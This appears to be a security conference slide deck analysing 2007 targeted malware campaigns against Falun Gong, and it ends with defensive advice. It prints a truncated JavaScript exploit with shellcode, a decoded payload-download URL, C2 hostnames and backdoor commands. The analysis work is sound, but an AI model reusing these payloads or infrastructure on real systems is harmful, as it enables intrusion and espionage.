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#### **Targeted Attacks and Information Operations**

Value and distribution of information Information Operations: Deny, Deceive, Destroy Cultural differences Contemporary Methodology

#### A targeted attack incident

Background on the issue space Overview of attacks Link Analysis between objects of attack

#### Defence against the dark arts

Technical Controls Security Intelligence

#### Q&A

#### **Information evolves**



#### Today:

- Strong communication links
- Unpredictable properties
- Value depends on time and situation

#### Then:

- Well known characteristics
- Relatively few social "roles"



#### **Information Operations**

#### • Reality is constructed



Drawing by Patrick Edwin Moran (License: Creative Commons 2.0)

• Attacks: Deny, Deceive, Destroy

# IO in the US

- Information Warfare: a US concept
- "The integrated employment of the core capabilities of electronic warfare [EW], computer network operations [CNO], psychological operations [PSYOP], military deception and operations security [OPSEC] with specified supporting and related capabilities to influence automated decisionmaking while protecting our own." Joint Doctrine for Information Operations (2006), US DoD
- General focus in literature on CNO
- Interest in coordinating execution

## IO in China

- Internally generated, not a US copy
- From 20+ definitions (90's) to a limited set of definitions today
  - Most deal with 'control' as an objective instead of 'victory'
  - Embedded concept of People's War
  - Use of stratagems



#### The 36 Stratagems

- Deception devices
- 36 stratagems, over 300 years old

# 瞞天過海

# *Deceive the sky to cross the ocean* Act openly and hide in what is normal.

### **Targeting methodology**

- Identify target data
- Locate concentrations
  - Forums
  - Web portals
  - Companies
- Identify subjects of influence
  - Crawling
  - Human interaction
  - Social networking
- Contextually valid message sollicits action

#### **Targeted e-mail attacks**



#### **Targeted e-mail attacks**

• Often attachments abusing file parsing vulnerabilities



• Examples: Microsoft Office, WinRAR, Ichitaro, ...

### 2005: Espionage attacks



NISCC Briefing 08/2005 Issued 16 June 2005

Targeted Trojan Email Attacks

Key Points

- A series of trojanised email attacks are targeting UK Government and companies.
- The attackers' aim appears to be covert gathering and transmitting of commercially or economically valuable information.



US-CERT UNITED STATES COMPUTER EMERGENCY READINESS TEAM

#### Technical Cyber Security Alert TA05-189A

#### **Targeted Trojan Email Attacks**

Original release date: July 08, 2005 Last <u>revised</u>: --Source: US-CERT

### A target: Falun Gong



- System of mind and body cultivation
- Introduced in 1992, consisting of:
  - Five sets of meditation exercices (Falun Gong);
  - Set of religious teachings (Falun Dafa)

- Repressed by the People's Republic of China dating back to July 20, 1999
- Banned because of illegal activities:
  - Threat to social and political stability of the country;
  - Thousands of practitioners have been detained by police;
- PRC ban heavily criticized by human rights activists
- Reportedly victimized by cyber attacks since early 2003
- April October 2007: 26 total incidents

# A target: Falun Gong





- Chinese language file name
- SCR file is in fact PE file

 00000040
 0e
 1f
 ba
 0e
 00
 b4
 09
 cd
 21
 b8
 01
 4c
 cd
 21
 54
 68
 |....!...!.
 !...

 00000050
 69
 73
 20
 70
 72
 6f
 67
 72
 61
 6d
 20
 63
 61
 6e
 6f
 |is
 program
 canno|

 00000060
 74
 20
 62
 65
 20
 72
 75
 6e
 20
 69
 6e
 20
 44
 4f
 53
 20
 |t
 be
 run
 in
 DOS
 |

- DNS lookup for faluninfo.3322.org
- Connects on port 80 and opens remote administration backdoor

- Attack scenario for extended compromise
  - Intelligence collection is required



- "Domain parking"
  - Intelligence collection is not required
  - Only outbound DNS queries



#### • Identifying parking

• DNSWatch (Note: 63.64.63.64 is used as a parking address here)

+	2007-12-21	03:59	ding.pc-officer.com   63.64.63.64
_	2007-12-21	03:59	ding.pc-officer.com   61.219.152.125
+	2007-12-21	13 <b>:</b> 35	ding.pc-officer.com   61.219.152.125
_	2007-12-21	13 <b>:</b> 35	ding.pc-officer.com   63.64.63.64
+	2007-12-21	14:52	ding.pc-officer.com   63.64.63.64
_	2007-12-21	14:52	ding.pc-officer.com   61.219.152.125
+	2007-12-23	11:51	ding.pc-officer.com   63.64.63.64
+	2007-12-24	01:25	ding.pc-officer.com   61.219.152.125
_	2007-12-24	01:25	ding.pc-officer.com   63.64.63.64
+	2007-12-24	03:13	ding.pc-officer.com   63.64.63.64
_	2007-12-24	03:13	ding.pc-officer.com   61.219.152.125
+	2007-12-24	11 <b>:</b> 37	ding.pc-officer.com   61.219.152.125
_	2007-12-24	11:37	ding.pc-officer.com   63.64.63.64

#### Passive DNS replication

• Virus detection, one year later:

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Address 🕘 http://www.virustotal.com/vt/en/resultadof?fe351e50485d0cb72b00cdc0b391807e 🗾 🎅 Go 🛛 Lini											
Antivirus	Version	Update	Result		_						
AhnLab-V3	2007.4.21.0	04.20.2007	no virus found								
AntiVir	7.3.1.53	04.20.2007	BDS/Pakes								
Authentium	4.93.8	04.20.2007	no virus found								
Avast	4.7.981.0	04.20.2007	no virus found								
AVG	7.5.0.464	04.20.2007	no virus found								
BitDefender	7.2	04.20.2007	BehavesLike:Win32.ExplorerHijack								
CAT-QuickHeal	9.00	04.20.2007	no virus found								
ClamAV	devel-20070416	04.20.2007	no virus found								
DrWeb	4.33	04.20.2007	no virus found								
eSafe	7.0.15.0	04.19.2007	no virus found								
eTrust-Vet	30.7.3581	04.20.2007	no virus found								
Ewido	4.0	04.20.2007	no virus found								
FileAdvisor	1	04.21.2007	no virus found								
Fortinet	2.85.0.0	04.20.2007	suspicious								
F-Prot	4.3.2.48	04.20.2007	no virus found								
F-Secure	6.70.13030.0	04.20.2007	Bifrose.D.dropper								
Ikarus	T3.1.1.5	04.20.2007	no virus found								
Kaspersky	4.0.2.24	04.20.2007	not-a-virus:RemoteAdmin.Win32.Poison Ivy.20								
McAfee	5014	04.20.2007	no virus found								
Microsoft	1.2405	04.20.2007	no virus found								
NOD32v2	2207	04.20.2007	a variant of Win32/Bifrose								
Norman	5.80.02	04.20.2007	Bifrose.D.dropper								
Panda	9.0.0.4	04.20.2007	no virus found								
Prevx1	V2	04.21.2007	no virus found								
Sophos	4.16.0	04.20.2007	no virus found								
Sunbelt	2.2.907.0	04.19.2007	no virus found								
Symantec	10	04.20.2007	no virus found								
TheHacker	6.1.6.088	04.09.2007	no virus found								
VBA32	3.11.4	04.20.2007	suspected of Backdoor.Bifrose.4								
VirusBuster	4.3.7:9	04.20.2007	no virus found								
Webwasher-Gateway	6.0.1	04.20.2007	Trojan.Pakes								
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• Benign looking filename



Simultaneously, the file

- Exploits MS05-035: arbitrary code execution through MS Word vulnerability
- Connects to a US based server
  - Still active after more than one year
  - Port forwarder to a ChinaNet host

- Embedded trojan is slightly modified version of W32/Riler.J
  - Access to compromised system
  - Ability to drop and create new files
  - Ability to search file system for strings
- Riler family listed in NISCC bulletin

#### Riler network traffic:

```
NAME:

NAME: QADESH.VER: Stealth 2.6 MARK: fl510 OS: NT

5.0.L_IP: 10. 2.0.18.ID: NoID.

LONG 0508 LOG.txt

NULL

AUTO

ERR code = 02

SNIF

ERR code = 02

WAKE

WAKE
```

#### Capabilities:

LOCKSENDWAKENAMEMOONKEEPDISKFILEDONEDOWNLONGMAKEATTRKILLLIKESEEKREADDEADDDLLAUTOREADY

MOON & DISK grant access to local data DEAD kills the backdoor LIKE grants a remote cmd32.exe shell

The attacker has access to data on the system

• Anti virus coverage in 2007:

AntiVir 7.3.1.48 04.02.2007 HEUR/Crypted AVG 7.5.0.447 04.02.2007 Dropper.Mdrop.O BitDefender 7.2 04.02.2007 Dropped:Trojan.Riler.J DrWeb 4.33 04.02.2007 Exploit.FirstTable F-Secure 6.70.13030.0 04.02.2007 Trojan-Dropper.MSWord.1Table.ax Kaspersky 4.0.2.24 04.02.2007 Trojan-Dropper.MSWord.1Table.ax McAfee 4998 04.02.2007 Exploit-1Table Symantec 10 04.02.2007 Bloodhound.Olexe Webwasher-Gateway 6.0.1 04.02.2007 Heuristic.Crypted

- 36 solutions tested,
  - 9 identified the Word file as malicious
  - 15 detected the actual embedded executable



- E-mail sent with nothing but an HTML file attached. Looks benign.
- Message originated in Taiwan, but sent through Australian mail server
- However, scary script tag

```
evilObject.push( evilString );
    try
    {
        var obj =
    document.getElementById('target').object;
        obj.CSVData=evilObject[0];
    }
    catch(e)
    {
    }
}
```

- Contains shellcode
- var ToWhare = 0x0D0D0D0D;
- var KernellsWhat =

unescape("%u8b55%u81ec%ue0ec%u0002%u5300%u5756%u6460%u158b%u0030%u0000%udce9%u0003%u8f00%ub485%ufffd%u8bff%u0c42%u708b%uad1

...hexadecimal...

065%u696f%u746e%u7265%u4300%u6572%u7461%u5065%u6f72%u6563%u7373%u0041% u7845%u7469%u7250%u636f%u7365%u0073%u7255%u6d6c%u6e6f%u642e%u6c6c%u5500 %u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c%u0041%u0000%u0000'');

• Final part of shellcode decodes to:

http://70.85.25.174:3721/aee\xTemp\csrse.exedceme./xc start iexplore.exeè e\$CGmtmondLineeAWGntoisdiweDtrrcAoGyetFileSi eC reateFileAoCelasdHenWlriteFileaRFeldeSetFilePointereCtrPaoeerscAsExitPrs oseUrlmon.dllLUoRnDowdloaiTeFAl

• Protox.O backdoor application

• Virus detection of dropper non-existent

🚰 ::::: VirusTotal ::::: - Microsoft Inter	net Explorer				- D ×								
<u>File Edit View Favorites Tools H</u>	<u>l</u> elp				1								
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Address 🕘 http://www.virustotal.com/vt/en/resultadof?b3178769eb0b6e1ad8ed98734f5ae1d6 🗾 🕤 Go 🛛 Li													
Antivirue	Antivirus Vorsion Undato Posult												
Abol ab-V3	2007 4 21 0	04 20 2007	no virus found										
AntiVir	7 3 1 53	04.20.2007	HEUR/Exploit HTML										
Authentium	403.8	04.20.2007	no virus found										
Avast	479810	04.20.2007	no virus found										
AVG	750464	04 20 2007	no virus found										
BitDefender	7.2	04 21 2007	no virus found										
CAT-OuickHeal	9.00	04.20.2007	no virus found										
ClamAV	devel-20070416	04.20.2007	no virus found										
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Sunbelt	2.2.907.0	04.19.2007	no virus found										
Symantec	10	04.20.2007	no virus found										
TheHacker	6.1.6.095	04.15.2007	no virus found										
VBA32	3.11.4	04.20.2007	no virus found										
VirusBuster	4.3.7:9	04.20.2007	no virus found										
Webwasher-Gateway	6.0.1	04.20.2007	Heuristic.Exploit.HTML										
					<b>_</b>								

### 2007: Ongoing Word attacks

- Mid-May: Word exploit Installs backdoor, connects to Taiwan
- End of May: Word exploit Installs Riler backdoor, connects to telephone company in Montana
- July 2nd & 3rd: Word exploit
   Installs backdoor, connects to Hong Kong &
   Taiwan

### 2007: Ongoing Word attacks

Common to these attacks



• Existing memes in the community are reused

### July 2007: WinRAR

- RAR file crashes WinRAR 3.5
- Executes on Traditional Chinese systems
- Backdoor with Keylogger
- No Anti virus detection

"This case is not about infection by some virus or Trojan horse but about crash of one particular program version (or library) on incorrect file." Anonymous anti virus vendor ©

#### 2007: The attacks continue

- Mid August: Malicious Powerpoint Installs backdoor, connects to Taiwan
- Late August: Malicious RAR archive
  - Installs key logging backdoor
  - Uniquely registers machine by combining MAC address and hostname
- September: Malicious Powerpoint Installs backdoor, connects to Taiwan

#### September: the World Series

- 5 Word exploits in one week
  - Each adds slight changes to avoid detection
  - Exploit CVE-2006-2492
  - Connect to CNC Group Hebei Province
  - Different hostnames, same IP address
- One day later: HTML/JS dropper
  - New backdoor family
  - Same control server as in April

#### **October: the Zero-day threat**

- MS07-060: Word memory corruption flaw
- Attack nine hours prior to patch release
- Increased complexity: triple payload
  - Disable anti virus
  - Disable HIPS
  - Install trojan and connect to Taiwan
- No anti virus coverage (one false positive)

#### Zero-day: Rapid Development



- Reuse of existing code
  - Existing HIPS killer
  - Visual Studio "Hello World" application
- Fit for purpose & fast deployment

#### **Autumn Tactics**

- Mid-October: Malicious Excel document
  - Disables anti-virus
  - Opens backdoor to US host
- Early November: RAR exploit
  - Installs backdoor
  - Connects to Hong Kong & Taiwan
- Three more PPT exploits in November Open backdoor and connect to Chinese IP

#### **Autumn Tactics**

- Slow move towards new methodology
- "Information gathering tools"
  - Do not provide persistent system access
  - Gather credentials to e-mail accounts
  - Submit them through several protocols:
    - HTTPS to Taiwan
    - HTTP to Taiwan
    - SMTP to Chinese address

### Some quick statistics



Covers April through December 2007

#### Some quick statistics



#### **Threat agents**

- Several groups known to use these attacks
  - NCPH
  - Titan Rain incident
- Attribution generally difficult
  - Trojans and their sources are exchanged
  - Control servers not shared, often unique
  - Motive and techniques become discriminators



# Defence against the dark arts





#### Defence against the dark arts

- Anti malware
  - Blocking is more important than scanning
  - Diversify desktop and gateway solutions
  - AV solutions have different properties
    - Packed binaries
    - Retrospective testing
    - Sandboxing has limited value
    - Host IPS technologies
- Software hardening
  - Software asset control
  - MoICE, safe mode

#### Defence against the dark arts

- Network Security Monitoring
  - Strong egress filtering and proxying
  - Clues in the DNS system
- Awareness Building & Identity Management
  - Identify communications which require trust
  - Make them trustworthy
- Security Intelligence
  - Each attack is unique, group may be common
  - Participate in ISACs
  - Response requires insight into the threat agent





Further questions? Contact maarten@daemon.be